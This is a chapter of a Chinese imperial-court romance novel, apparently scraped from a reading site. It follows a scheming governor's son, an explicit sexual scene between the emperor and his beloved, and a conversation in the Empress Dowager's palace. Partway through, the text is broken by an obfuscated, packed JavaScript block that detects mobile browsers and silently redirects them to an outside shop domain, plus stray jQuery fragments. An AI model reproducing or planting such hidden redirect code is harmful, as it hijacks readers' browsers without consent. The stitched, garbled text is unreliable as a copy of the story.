24. 撩人
    “三弥山的玉不过我的眼就敢进京?”

    安西都护府一处奢华宅院,一只茶盏飞掷而出,砸在门外砖石上,四分五裂,茶水飞溅。

    下人们低眉顺耳,噤若寒蝉。

    屋内似乎有人在劝,那人却更怒:“褚威算个什么东西?他褚家祖上不过是行伍的泥腿子,真拿自己当国丈了!”

    谢明宗以往在褚威面前还会收敛些气焰,盖因对方有个准太子妃女儿,他敢在自己的地界撒野,连贡物也要他先挑了,剩余的才能进京,却不敢明着触未来国丈的霉头。

    小厮只能劝:“少爷小声些吧,老爷若知道了,您又难逃家法了。”

    “老头装装样子罢了。”谢明宗嗤道:“你别当他多大义灭亲,最目无王法的就是他,我可比他强多了。”

    老头那可是害人不偿命,杀人不用刀。

    就连他这样为所欲为、欺行霸市的,也得骂一句阴毒。

    “少爷什么好东西得不到?这次三弥山的玉,就当让给他们了。”

    谢明宗眼一眯:“那帝王绿难得,原本还想着留着日后孝敬皇后的。”

    贡品,要暗着昧下,当权者,要明着讨好。

    他本人亲自孝敬,与地方照例上贡,那自是不一样的。

    “您与陛下昔日生出不少龃龉,如今可得低调行事。”小厮说着,愁得脸都要皱巴成一团。

    谢明宗烦躁挥袖:“又提他做什么?”

    想想就晦气。

    当年他带着二十几个家丁也打不过裴珩一人,还要被自己大哥在一旁嘲笑是软脚虾。

    他可是安西都护府大都护、安西节度使的二公子!谁人敢不将他放在眼里!

    上京来的皇子,能有什么来头?

    老头还让他谨言慎行,让他恭敬,明明数他自己最不将这位小王爷放在眼中。

    别以为他不懂,随意封了王,被扔到西北来的皇子,分明就是彻底被放弃了,得宠的皇子应当在京中监国才是。

    恪王,恪者,恭也,意为谨慎而恭顺。

    这不是明晃晃地警告,不得肖想不属于他的东西么?

    可他看裴珩此人,与这几个字毫不沾边。

    既不谨慎,也不恭顺。

    夺了老子的权,又抢了亲哥的位。

    “老爷说了,上面要提审三爷,上下已经都打点过了,近些日子万不可节外生枝呀。”

    谢明宗一嗤,通敌叛国的死罪,还想打点出什么来。

    谢家真是越来越出息了。

    是土皇帝当惯了,才发现上面还有人?

    “那批舞女,调教的如何了?”

    小厮忙道:“身段婀娜,舞姿甚是美妙。”

    “我问你这个了?”谢明宗不耐烦地打断:“房中术!调教的如何?”

    小厮一时语塞:“呃,这个少爷得试过才知。”

    谢明宗一脚踹去:“你他妈想让我死啊?还试过?”

    他有几个胆子敢试进献给皇帝的舞女。

    可一想到是要送美人给裴珩那厮,他便来气。

    门外有人匆匆进来传信儿:“少爷,老爷刚吩咐,此番让您专程送二小姐进京,正好随褚将军一道。”

    谢明宗更气:“老子不去!”

    -

    胡床置于榻旁,褚韫宁无事时喜欢蜷在上面看书。

    她刚卸了簪钗,青丝如瀑倾洒,薄毯盖到腰间,手中握着一卷游记,安安静静地翻看。

    裴珩沐浴出来,身上还滴着水,只随意搭了件里衣。

    褚韫宁咬一口杨梅,被酸的蹙了蹙眉,抬脚踢了踢身侧的人:“太酸了。”

    裴珩目光随着那抹莹白挪动,才应了一声,拿走了琉璃碗,吩咐下人:“去换成葡萄。”

    他瞥了眼蜷靠着看书的人,坐到榻上,一手搭在扶手,稍一使力,便连椅带人都拉了过来。

    褚韫宁腰间毯子滑落,抬眸撞进幽沉又炙热的视线。

    手中的书被他抽走,褚韫宁略有些无措地将脚缩回裙摆,足腕却被他捉住。

    裴珩握紧足腕,不紧不慢地将人扯得更近。

    他起身,高大身形轻而易举便将想逃脱的人拢得严实。

    “我试试这胡床滋味如何,试过便放过你。”

    他说得轻飘飘的,仿佛只是想尝一道新巧做法的菜式,眸光却牢牢锁在她身上。

    褚韫宁见挣不开,委屈又气,“陛下在安西那些年,都没试过吗?”

    西域部落此番还献上了绝色,别以为她什么都不知道。

    那女蛮国进献的菩萨蛮,个个都是精致绝艳、玲珑剔透的美人。

    裴珩闻言挑眉看她。

    西域出美女,他在安西那几年,的确有地方官员向他献予。

    美则美矣,却妖艳媚俗,甚是腻味。

    他并未沾染,赐给了部下。

    只是这话到了嘴边,却成了揶揄。

    “西域女子奔放,与窈窈是不同滋味。”

    他的窈窈,姝色无双,像枝头带露轻颤的芍药花,入口却清甜又带着一丝酸涩,一如初熟的梅子。

    裴珩不喜甜食,青梅蜜饯也是头一次尝,动作却甚是熟稔,一粒核从肉中剥出来,渍透蜜浆的青梅肉在口中一点点含软了,抿出汁水,直到尝不出甜味来。

    这个时节的青梅味道实在好,渍的也恰到好处,入口唇齿生香,余味绵长,连核也含在口中尝了又尝。

    青梅露清爽酸甜,可惜不多,他接连饮了两盏,再想喝就没了。

    碗中盘中一片狼藉,弃置的青梅梗,剥脱的梅核,溅得到处都是的蜜渍……

    剩下的梅肉没有一颗是完整的,盛在玉钵里,被玉杵捣烂了榨出汁水。

    裴珩吃完,从地上捞起件衣衫擦了擦手,擦完才看清是件小衣。

    梅子色软缎染上污迹,被他捏在手里,都皱了。

    这好似是她最喜欢的那件。

    裴珩折起来,不动声色地揣进怀里。

    美人脂白如玉,微陷绒毯,远看去,似雪域山巅的神女,圣洁无暇,不可玷污。

    近瞧着,却是雪顶山坳的皑皑白雪都随着日头升起而融化,山脚下清澈的溪流潺潺蜿蜒。

    裴珩将人捞到怀里,替她拢了拢并遮不住什么的轻纱里衣:“我并未沾染那些女子。”

    他声音带着微微的哑,莫名缱绻。

    褚韫宁不信,他都拿别人与她比了。

    她整个人被他圈在怀中,隔着里衣,他浑身硬邦邦的肌肉硌得她难受,又避不开细细密密的亲吻,只眉心轻蹙,抬脚去踹他。

    一连踹了几下,脚下硬硬的触感和身下倏然紧绷的身躯,让她动作倏然停住,足心却已经被攥入掌中。

    “窈窈,再踩几下。”裴珩似乎闷哼了一声,嗓音缱绻低哑,含着撩人情.欲。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267643|145449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>高大的身躯将人拢得严实,褚韫宁逃脱不开,足背上是发烫的手掌,足心下也愈发的硬。

    不知过了多久,她的腿都快失去知觉,才听耳畔一声低低的喟叹。

    褚韫宁含泪的眸轻眨,足心热烫的余温仿佛还在,心中的羞耻令她不敢抬头去看,只拿余光瞥见他半跪在地,捧着她的脚,一点点拭去污浊。

    她抽了抽脚,却抽不开,只能道:“我要沐浴,你出去。”

    美人薄嗔浅怒,眼波间似有层层涟漪,无端动人。

    裴珩移不开眼,丢开沾染污浊的龙袍:“我帮你。”

    颈侧温热气息拂洒:“她们没有我的力道,你不是也说,我伺候得比她们都舒服。”

    低低的嗓音似丝丝藤蔓,搔得她颈侧一阵痒意,仿佛顺着耳蜗,一路迅速攀至心脏,再一层层缠绕,缠紧。

    轻薄纱衣剥落,掉在汤池岸边的玉石地砖上。

    白雾缓缓升腾,弥漫缭绕,如蒙了一层轻柔的纱。

    隐约瞧见男人宽阔结实的背,紧实的肌肉蓄满了力量,野性难训。

    池面水花飞溅,玉白的小腿勾不住劲瘦的腰,随着力道一下下地晃。

    -

    寿康宫。

    宋珞珠替太后簪上两支绿松石发钗,又挑了朵紫红牡丹簪上。

    太后看着镜中,叹道:“哀家许久不簪这般艳丽的花了,总觉得自己老了,不适合浓丽娇艳的打扮。”

    宋珞珠搀扶她起身:“姑母比起我们这些小辈来,无非是更加雍容华贵些,魏紫尊贵夺目,与姑母最是相得益彰。”

    太后被她哄得开怀,又问道:“当真是不想进宫了?”

    宋珞珠闻言微顿,几步行至太后跟前,屈膝道:“姑母若疼我,便替我在朝中寻个青年才俊好了。”

    见她不像是受了委屈的模样,宋太后只当是她孩子心性,想一出是一出。

    “可要想好了,若回头与人议了亲,再想进宫便难了。”

    宋珞珠摇头:“姑母,我想明白了,表哥待我,”她顿了顿,昧着良心说:“只有兄妹情义,入了宫也没什么好的。”

    太后轻轻叹气。

    她能这般想,未尝不是一件好事。

    女子得不得宠爱,都是要在深宫中熬一辈子,未免可怜。

    两人行至廊下,宋珞珠扶着太后的手,落后约半个身子。

    思及太后方才的话,她又道:“我朝女子可二嫁,表哥怎么就这般金贵了?”

    她言笑晏晏,状似玩笑。

    太后也一笑:“先帝的恭太妃便是奋威将军的遗孀,无人说道什么。”

    “这事总归在于皇帝自己,他若不愿,便有无数法子来阻挠。”

    宋珞珠听出姑母语气中的无奈,似乎若是皇帝执意而为,她也无可奈何。

    可将军遗孀,与兄嫂还是不同的吧。

    相比之下,夺兄妻这名声多臭啊。

    “可我看史书上有些君侯霸主,就是喜欢寡妇呢。”

    听她这般口无遮拦,宋太后斜她一眼:“乱世自然没有礼教可言,我朝不是那些个游牧部族,做不来父死长继,兄终弟及的事。”

    简直罔顾人伦。

    宋珞珠低着头直撇嘴。

    心道,人家那起码还是兄终弟及呢,您家这位,兄还没死呢。

    她瞧着竹苓姑姑过来,似乎有事相禀,便福了一身退下了。